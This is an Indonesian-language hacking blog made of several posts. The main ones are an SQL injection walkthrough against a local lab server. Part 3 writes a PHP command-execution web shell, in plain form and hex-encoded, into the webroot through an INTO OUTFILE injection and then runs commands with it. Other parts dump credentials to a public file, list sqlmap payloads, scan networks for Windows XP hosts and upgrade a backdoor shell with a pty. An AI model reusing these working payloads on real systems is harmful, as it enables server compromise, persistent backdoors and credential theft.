Rabu, 11 April 2012

SQL Injection Level 4 [Part 3]

Ini adalah kelanjutan dari SQL Injection Level 4 [Part 2]. Sebelum masuk ke tahap ini, saya sarankan pembaca memahami konsep dari Part 1, dan Part 2 terlebih dahulu.

Kali ini saya masih menggunakan tools burpsuite.

Preparation :
  1. Burpsuite
  2. Browser
Legal Disclaimer:
Tutorial ini bertujuan sebagai pembelajaran dan edukasi, penyalah gunaan ilmu ini di luar tanggung jawab penulis.

Walkthrough
1. Mengenal konsep backdoor php
Pada tutorial sebelumnya, saya sudah menjelaskan mengenai dumping username dan password menggunakan perintah sederhana yang dilakukan oleh repeater pada tool burpsuite. Kali ini saya akan memasang backdoor sederhana, hanya dengan menggunakan burpsuite.

Contoh sederhana dari backdoor php dengan menggunakan perintah passthru.


Command :
<?php
passthru($_GET['cmd']);
?>

Kemudian saya sedikit modifikasi menjadi.


Command :
<?php
if(isset($_REQUEST['cmd'])){        echo "<pre>";        $cmd = ($_REQUEST['cmd']);        system($cmd);        echo "</pre>";        die;}
?>




2. Encoding ASCII to HEX with Burpsuite
Mengetahui shell code kita harus berformat hexadecimal, maka kita harus melakukan converting dari ASCII ke HEX. Burpsuite telah menyediakan fitur ini. Klik tab decoder, kemudian pada drop down menu "encode as..." pilih "ascii hex". Pada text menu (atas), masukan shell code anda. Kali ini saya menggunakan shell code milik saya, dan shell code saya telah dikonfersikan ke HEX pada text menu bagian bawah.


Command :
3c3f7068700a0a696628697373657428245f524551554553545b27636d64275d29297b0a20202020202020206563686f20223c7072653e223b0a202020202020202024636d64203d2028245f524551554553545b27636d64275d293b0a202020202020202073797374656d2824636d64293b0a20202020202020206563686f20223c2f7072653e223b0a20202020202020206469653b0a7d0a0a3f3e




3. Burpsuite In Action
Kita telah mengubah shell code manjadi HEX format, selanjutnya kita masukan perintah SQL, sehingga perintah SQL menjadi


Command :
myusername=admin&mypassword=' AND 1=1 union select 0x20,0x20,0x20 INTO OUTFILE '/var/www/backdoor.php' LINES TERMINATED BY 0x3c3f7068700a0a696628697373657428245f524551554553545b27636d64275d29297b0a20202020202020206563686f20223c7072653e223b0a202020202020202024636d64203d2028245f524551554553545b27636d64275d293b0a202020202020202073797374656d2824636d64293b0a20202020202020206563686f20223c2f7072653e223b0a20202020202020206469653b0a7d0a0a3f3e -- &Submit=Login




Jangan klik tombol GO. Sebelumnya saya akan membuktikan bahwa belum ada file backdoor.php di dalam web server. Saya akan mengujinya dengan perintah curl.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php


Hasil.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /backdoor.php was not found on this server.</p><hr><address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 172.16.33.131 Port 80</address>




4. Access Backdoor
Kembali ke burpsuite, kemudian tekan tombol GO. Dan kita cek lagi keberadaan backdoor.php pada server.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php?cmd=id



It's easy, as usual.

created by : red-dragon


SQL Injection Level 4 [Part 2]

Pada postingan sebelumnya, kita telah membahas tentang melakukan SQL Injeksi Tahap 4 menggunakan SQLmap, dan Tamper Data. Kali ini saya akan melakukan hal yang berbeda dari tutorial SQL Injeksi manapun, karena saya menggunakan tools OWASP Burpsuite.

Target saya masih sama dari target pada postingan sebelumnya, dengan alasan yang sama, saya tidak mau membuat kerusakan pada situs milik orang lain.

IP target : 172.16.33.131



Important!!!
Tutorial ini bertujuan sebagai pembelajaran, penyalah gunaan yang membuat kerugian terhadap pihak lain di luar tanggung jawab penulis.

Preparation :
  1. Browser
  2. Burpsuite (dapat ditemukan di backtrack 5)
Walkthrough :
1. Menyiapkan burpsuite

Burpsuite dapat ditemukan di backtrack 5. Pada start menu, pilih Applications - Backtrack - Vulnerability Assessment - Web Application Assessment - Web Application Proxies - Burpsuite.


Burpsuite akan menangkap setiap paket atau data yang dikirim dari client ke server, dengan syarat client harus menggunakan proxy burpsuite. Untuk melakukan pengaturan proxy, lakukan langkah berikut:

  • Klik tab Proxy
  • Pada tab intercept,  klik "Intercept is on" sehingga menjadi "Intercept is off"
  • Pada tab options, perhatikan port burpsuite yang aktif. Kali ini saya menggunakan pengaturan umum, yaitu 8080.
  • Klik tab Target, pada tab ini semua data dan packet akan muncul.
Jangan tutup burpsuite, karena kita masih menggunakan tool ini.


2. Menyiapkan Browser

Anda bisa menggunakan browser apapun, namun dalam tutorial ini, saya menggunakan browser Mozilla Firefox. Untuk melakukan pengaturan proxy, lakukan langkah berikut:
  • Edit
  • Preferences
  • Advanced
  • Network
  • Settings
  • Pilih Manual Proxy Configuration
  • Pada http proxy, masukan 0.0.0.0
  • Para port proxy masukan 8080
  • Klik OK



3. Burpsuite Intercepting

Sekarang masukan IP 172.16.33.131 pada address bar. Kemudian login dengan

Username : admin
Password : '

Klik Login. Kemudian kembali pada burpsuite, maka akan muncul data yang berhasil dihadang (intercepted) oleh burpsuite.



4. Burpsuite In Action

Pada pembahasan sebelumnya, kita telah mengetahui, bahwa vulnerability terletak pada halaman checklogin.php. Jika anda masih bingung mengapa halaman ini memiliki vulnerability, saya sarankan anda membaca postingan sebelumnya mengenai SQL Injection Level 4 [Part 1].  Klik kanan pada bagian /checklogin.php, kemudian pilih "send to repeater".



Pada tab repeater. Perhatikan bagian

myusername=admin&mypassword='&Submit=Login

Pada pembahasan sebelumnya, kita juga sudah mengetahui bahwa parameter "mypassword" memiliki vulnerability terhadap serangan SQL Injection. Ini terlihat dari pesan:

mysql_num_rows(): supplied argument is not a valid MySQL result resource in


5. Dumping Username + Password With Burpsuite

Melakukan dumping username dan password belum pernah secepat dan semudah ini. Biasanya anda harus mencari table dan kolom yang tepat untuk mendapatkan username dan password. Namun kali ini anda hanya membutuhkan satu perintah saja. Ubah bagian:

myusername=admin&mypassword='&Submit=Login

Menjadi

myusername=admin&mypassword=' OR 1=1 INTO OUTFILE '/var/www/dump' -- &Submit=Login

Jangan klik tombol GO. Untuk membuktikan bahwa username dan password berhasil di dump ke /var/www/dump, kita akan menguji keberadaan file dump pada server dengan perintah curl.

Command :
red-dragon [~] >> curl http://172.16.33.131/dump

Maka akan muncul

Command :
red-dragon [~] >> curl http://172.16.33.131/dump<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /dump was not found on this server.</p><hr><address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 172.16.33.131 Port 80</address></body></html>



Terlihat bahwa file dump memang tidak ada (belum ada). Kemudian klik tombol go pada burpsuite. Dan lakukan pengecekan lagi dengan curl.

Command :
red-dragon [~] >> curl http://172.16.33.131/dump1 john         MyNameIsJohn2 robert      ADGAdsafdfwt4gadfga==



It's easy, isn't?

created by : red-dragon

Senin, 09 April 2012

SQL Injection Level 4 [Part 1]

Bosan dengan perintah

(select group_concat(table_name) from information schema.tables where table_schema=database())


Kali ini saya akan memberikan sedikit pelajaran mengenai SQL Injection level 4. Pada tutorial kali ini, saya tidak menggunakan live target, karena saya rasa itu bersifat merusak. Sehingga saya coba metode ini di localhost dengan bantuan VMware.

Preparation : 
  1. Firefox
  2. Tamper Data (add ons mozilla firefox)
  3. SQLmap

Walkthrough


1. Menguji vulnerability.

Kali ini, vmware saya telah berjalan dan memiliki ip address 172.16.33.131. Saya buka firefox, kemudian saya masukan IP address 172.16.33.131 pada address bar.



Username : admin
Password : admin

Log In... Kemudian...


Kita berada di halaman checklogin.php. Disini tidak ada parameter untuk diuji. Mungkin saya bisa menguji data yang dikirim ke server. Saya kembali lagi ke halaman login.

Username : admin
Password : '

Log In.. Kemudian...


Kelihatannya website ini vulnerable. Namun tetap tidak ada parameter. Sehingga dapat disimpulkan bahwa vulnerability bukan terletak pada parameter, melainkan DATA. Untuk mengecek data yang dikirim ke server, saya gunakan tamper data.

2. Tamper Data In Action

Jika anda belum memiliki tamper data, anda bisa install di sini. Namun add-on ini hanya dapat digunakan di Mozilla Firefox. Dan tidak dapat digunakan di Browser lain.

Setelah menginstall, tamper data dapat diaktifkan di Tools - Tamper Data


Kembali ke halaman login

Username : admin
Password : 123

Maka tamper data akan mengambil setiap data yang terjadi selama proses transfer data dari client ke server, maupun sebaliknya.


OK. Saya temukan POSTDATA=myusername=admin&mypassword=123&Submit=Login. Ternyata ada 3 data di sini. yaitu myusername, mypassword, dan Submit. Dan kita telah mengetahui bahwa data password vulnerable. Selanjutnya kita akan gunakan SQLmap untuk menguji database menggunakan informasi yang telah kita dapatkan. Sebelumnya saya ucapkan terima kasih pada tamper data. =)

3. SQLmap in Attack

Command :
red-dragon [~] >> cd /pentest/database/sqlmap/

Command :
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --flush-session

Keterangan:
  1. -u = url [Pesan error muncul pada halaman checklogin.php]
  2. --data = [Kali ini kita akan memberikan data pada server dengan cara tampering / menyuap]
  3. -p = parameter [Parameter yang vulnerable adalah mypassword
  4. --flush-session = Bagian ini tidak masalah jika tidak disertakan.


Muncul pertanyaan:
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

dan berujung pada CRITICAL:
[CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. Please, consider usage of tampering scripts as your target might filter the queries. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details


4. Game Over
Saya coba naikan level dan risk pada testing SQLmap menjadi 5.

Command :
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --level=5 --risk=5



Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

Dan muncul pesan yang membahagiakan:
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

Saya jawab "n", kemudian "enter".

Dan payload untuk website ini adalah:

Place: POST
Parameter: mypassword
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: POSTDATA=myusername=admin&mypassword=-3973' OR (5599=5599) AND 'eHOv'='eHOv&Submit=Login

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: POSTDATA=myusername=admin&mypassword=123' AND 2246=BENCHMARK(5000000,MD5(0x77544b50)) AND 'bGtM'='bGtM&Submit=Login


Sempurna....

created by : red-dragon

Selasa, 20 Maret 2012

Hunting Windows XP with NMAP

Kalian yang gemar melakukan exploitasi system, mungkin mengincar system operasi windows XP. Ada beberapa tools yang bisa digunakan untuk melakukan information gathering guna memburu system operasi ini. Diantaranya yang terkenal adalah:

  1. Angry IP Scanner
  2. NMAP

Masalahnya adalah, anda tidak bisa mendeteksi OS yang digunakan oleh sebuah host jika anda menggunakan Angry IP Scanner. Karena Angry IP scanner hanya dapat mendeteksi NET BIOS pada port 445 dan 135, serta mendeteksi port 80 protokol milik HTTP.

Kita telah mengetahui bahwa NMAP mampu melakukan scanning secara detil dan cepat. Dan parameter yang bisa digunakan untuk melakukan scanning OS adalah parameter -O.

Command :
root@dark-slayer:~# nmap -O <ip address>

Ternyata parameter ini memiliki kelemahan dalam mendeteksi OS, mengapa? Karena hasilnya tidak akurat, dan memakan waktu yang cukup lama. Bagaimana cara mengatasi hal ini?

Pertama, anda harus mengetahui, bahwa mendeteksi OS dapat dilakukan melalui pemindaian pada port 445. Maka perintah NMAP adalah:
Command :
root@dark-slayer:~# nmap -p 445 10.20.0.1-255


Perintah ini akan menampilkan sederet informasi mengenai status port 445 pada setiap host dalam sebuah localhost. Langkah kedua adalah menemukan port 445 yang terbuka.

Kita telah menemukan beberapa host yang membuka port 445 nya. Diantaranya adalah:

10.20.0.103

10.20.0.192

10.20.0.193

Kemudian kita scan host ini satu per satu dengan perintah:

Command :
root@dark-slayer:~#  nmap -p 445 -sV -Pn -v <ip address>

Kita mulai dari:

Command :
root@dark-slayer:~#  nmap -p 445 -sV -Pn -v 10.20.0.103


Jika tidak muncul versi di sebelah kolom service. Maka sudah dapat dipastikan ini bukan windows XP. Terbukti cara ini mempersingkat waktu pemindaian, hanya memakan waktu 6 detik. Jika muncul versi di sebelah kolom service, misalkan Microsoft Windows XP, sudah dapat dipastikan bahwa host menggunakan Operasi System Windows XP.

created by : red-dragon

Senin, 19 Maret 2012

Spawning Bash via Backdoor

Backdoor adalah elemen yang wajib ditanam ketika berhasil melakukan gaining access. Salah satu backdoor yang sering ditemukan adalah backdoor pada sebuah webserver. Dengan hanya menggunakan netcat, user mampu menembus webserver melalui port backdoor yang sudah ditentukan. Namun backdoor ini tampak hampa. Mengapa? Karena tidak ada tty yang aktif dalam shell tersebut. Akibatnya beberapa perintau seperti perintah sudo, tidak bisa dilakukan.

Sebagai contoh, anda menemukan kejadian seperti ini:

Tampak kosong bagaimana? Oke terlihat perbedaan antara shell yang wajar, dan backdoor shell yang satu ini. Shell yang wajar akan menampilkan

Command :
root@root:~# id

Namun di kasus ini tampak kosong!

Command :
id


Untuk mengaktifkan tty, anda harus dapat mengeksekusi tty baru. Agar header root@root dapat keluar. Jika root@root:~# telah keluar, makan tty sudah terksekusi. Dan perintah sudo bisa dieksekusi. Untuk mengeksekusi tty, saya akan menggunakan python interpreter untuk mengaktifkan tty. Simple, cukup masukan perintah ini:

Command :
python -c 'import pty; pty.spawn("/bin/sh")'

Maka header akan tampak seperti ini

Command :
python -c 'import pty; pty.spawn("/bin/sh")'sh-3.2$


Sempurna

created by : red-dragon

Sabtu, 10 Maret 2012

Fast SLQmap

SQLmap adalah program berbasis konsol untuk penetration testing database. Karena berbasis konsol maka anda harus menjalankannya melalui terminal. Dan yang melelahkan adalah, anda harus mengubah working directory ke /pentest/database/sqlmap

Command :
root@root:~# cd /pentest/database/sqlmap

Kemudian mengeksekusinya dengan perintah

Command :
root@root:/pentest/database/sqlmap# ./sqlmap.py


Hal ini menjadi melelahkan dan membosankan jika anda melakukannya berkali-kali. Saya memiliki jalan pintas untuk hal ini, sederhana, namun sangat membantu untuk mempersingkat penetration testing.

Buka terminal, lalu masukan perintah:
Command :
root@root:~# cd /usr/sbin/

Kemudian

Command :
root@root:/usr/sbin# ln -s /pentest/database/sqlmap/sqlmap.py

Kemudian

Command :
root@root:/usr/sbin# chmod +x sqlmap.py

Untuk mengeksekusi sqlmap, anda hanya perlu mengetik sqlmap.py pada terminal, tanpa harus mengubah working directory ke /pentest/database/sqlmap


created by : red-dragon

Senin, 05 Maret 2012

Install Flash Player On BackTrack

If have a problem when you open youtube or speedtest because you don't have flash player on your << back | track. 

Just follow this step.
Command:
root@revolution:/# apt-get update

Then

Command:
root@revolution:/# apt-get install flashplugin-installer

Wait until flashplugin-installer finish to download the file, then restart your browser.